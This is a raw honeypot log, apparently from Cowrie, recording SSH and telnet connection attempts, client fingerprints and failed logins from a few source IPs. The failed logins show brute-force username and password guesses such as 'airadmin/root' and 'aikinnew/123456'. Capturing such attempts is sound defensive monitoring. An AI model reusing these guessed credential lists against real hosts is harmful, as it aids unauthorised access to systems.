{"eventid":"cowrie.login.failed","username":"aikinnew","password":"123","message":"login attempt [aikinnew/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:22:13.032434Z","src_ip":"159.203.92.129","session":"7d2bf10a5caf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:22:14.039746Z","src_ip":"159.203.92.129","session":"7d2bf10a5caf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":30.441935062408447,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:22:35.124580Z","src_ip":"47.84.46.159","session":"e8f46baa16f7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":36878,"dst_ip":"159.203.135.109","dst_port":22,"session":"b632fcf6b3cd","protocol":"ssh","message":"New connection: 159.203.92.129:36878 (159.203.135.109:22) [session: b632fcf6b3cd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:22:58.190204Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:22:58.194638Z","src_ip":"159.203.92.129","session":"b632fcf6b3cd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:22:58.199093Z","src_ip":"159.203.92.129","session":"b632fcf6b3cd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aikinnew","password":"123456","message":"login attempt [aikinnew/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:22:58.208842Z","src_ip":"159.203.92.129","session":"b632fcf6b3cd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:22:59.214334Z","src_ip":"159.203.92.129","session":"b632fcf6b3cd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":42854,"dst_ip":"159.203.135.109","dst_port":22,"session":"2c3bcc296e59","protocol":"ssh","message":"New connection: 159.203.92.129:42854 (159.203.135.109:22) [session: 2c3bcc296e59]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:23:43.215570Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:23:43.219623Z","src_ip":"159.203.92.129","session":"2c3bcc296e59","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:23:43.223757Z","src_ip":"159.203.92.129","session":"2c3bcc296e59","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aikinnew","password":"aikinnew","message":"login attempt [aikinnew/aikinnew] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:23:43.233170Z","src_ip":"159.203.92.129","session":"2c3bcc296e59","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:23:44.242650Z","src_ip":"159.203.92.129","session":"2c3bcc296e59","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":46532,"dst_ip":"159.203.135.109","dst_port":22,"session":"5104c1bd1286","protocol":"ssh","message":"New connection: 159.203.92.129:46532 (159.203.135.109:22) [session: 5104c1bd1286]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:24:28.416684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:24:28.421460Z","src_ip":"159.203.92.129","session":"5104c1bd1286","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:24:28.426103Z","src_ip":"159.203.92.129","session":"5104c1bd1286","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"aikinnew","password":"aikinnew123","message":"login attempt [aikinnew/aikinnew123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:24:28.440953Z","src_ip":"159.203.92.129","session":"5104c1bd1286","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:24:29.450764Z","src_ip":"159.203.92.129","session":"5104c1bd1286","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":50170,"dst_ip":"159.203.135.109","dst_port":22,"session":"d882d838819a","protocol":"ssh","message":"New connection: 159.203.92.129:50170 (159.203.135.109:22) [session: d882d838819a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:25:14.137064Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:25:14.143244Z","src_ip":"159.203.92.129","session":"d882d838819a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:25:14.169089Z","src_ip":"159.203.92.129","session":"d882d838819a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airadmin","password":"root","message":"login attempt [airadmin/root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:25:14.325316Z","src_ip":"159.203.92.129","session":"d882d838819a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.2","message":"Connection lost after 1.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:25:15.337111Z","src_ip":"159.203.92.129","session":"d882d838819a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"198.235.24.172","src_port":52952,"dst_ip":"159.203.135.109","dst_port":22,"session":"2821de809c77","protocol":"ssh","message":"New connection: 198.235.24.172:52952 (159.203.135.109:22) [session: 2821de809c77]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:25:31.425929Z"}
{"eventid":"cowrie.session.closed","duration":"0.2","message":"Connection lost after 0.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:25:31.601350Z","src_ip":"198.235.24.172","session":"2821de809c77","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":55314,"dst_ip":"159.203.135.109","dst_port":22,"session":"c6fa310bbb99","protocol":"ssh","message":"New connection: 159.203.92.129:55314 (159.203.135.109:22) [session: c6fa310bbb99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:25:58.584319Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:25:58.589678Z","src_ip":"159.203.92.129","session":"c6fa310bbb99","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:25:58.595033Z","src_ip":"159.203.92.129","session":"c6fa310bbb99","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airchem","password":"123456","message":"login attempt [airchem/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:25:58.608252Z","src_ip":"159.203.92.129","session":"c6fa310bbb99","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:25:59.631572Z","src_ip":"159.203.92.129","session":"c6fa310bbb99","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":58682,"dst_ip":"159.203.135.109","dst_port":22,"session":"1bb2dd17d428","protocol":"ssh","message":"New connection: 159.203.92.129:58682 (159.203.135.109:22) [session: 1bb2dd17d428]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:26:40.625463Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:26:40.630574Z","src_ip":"159.203.92.129","session":"1bb2dd17d428","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:26:40.645720Z","src_ip":"159.203.92.129","session":"1bb2dd17d428","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"airchem","password":"korea2010","message":"login attempt [airchem/korea2010] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:26:40.710718Z","src_ip":"159.203.92.129","session":"1bb2dd17d428","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:26:41.717036Z","src_ip":"159.203.92.129","session":"1bb2dd17d428","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59008,"dst_ip":"10.17.0.5","dst_port":23,"session":"14897493a9ce","protocol":"telnet","message":"New connection: 5.61.90.139:59008 (10.17.0.5:23) [session: 14897493a9ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:26:54.679235Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59010,"dst_ip":"10.17.0.5","dst_port":23,"session":"414313d95503","protocol":"telnet","message":"New connection: 5.61.90.139:59010 (10.17.0.5:23) [session: 414313d95503]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:26:54.684520Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59012,"dst_ip":"10.17.0.5","dst_port":23,"session":"b38efbd2c69a","protocol":"telnet","message":"New connection: 5.61.90.139:59012 (10.17.0.5:23) [session: b38efbd2c69a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:26:54.825489Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59042,"dst_ip":"10.17.0.5","dst_port":23,"session":"240570cd4e2e","protocol":"telnet","message":"New connection: 5.61.90.139:59042 (10.17.0.5:23) [session: 240570cd4e2e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:27:04.939695Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59054,"dst_ip":"10.17.0.5","dst_port":23,"session":"8dd956911535","protocol":"telnet","message":"New connection: 5.61.90.139:59054 (10.17.0.5:23) [session: 8dd956911535]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:27:07.447639Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59068,"dst_ip":"10.17.0.5","dst_port":23,"session":"d38a2bea8feb","protocol":"telnet","message":"New connection: 5.61.90.139:59068 (10.17.0.5:23) [session: d38a2bea8feb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:27:19.403749Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59070,"dst_ip":"10.17.0.5","dst_port":23,"session":"b5a3531df917","protocol":"telnet","message":"New connection: 5.61.90.139:59070 (10.17.0.5:23) [session: b5a3531df917]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:27:19.727526Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59072,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe34f9c96c80","protocol":"telnet","message":"New connection: 5.61.90.139:59072 (10.17.0.5:23) [session: fe34f9c96c80]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:27:19.932777Z"}
{"eventid":"cowrie.session.connect","src_ip":"5.61.90.139","src_port":59078,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a269a1fc3fb","protocol":"telnet","message":"New connection: 5.61.90.139:59078 (10.17.0.5:23) [session: 5a269a1fc3fb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T22:27:21.272072Z"}
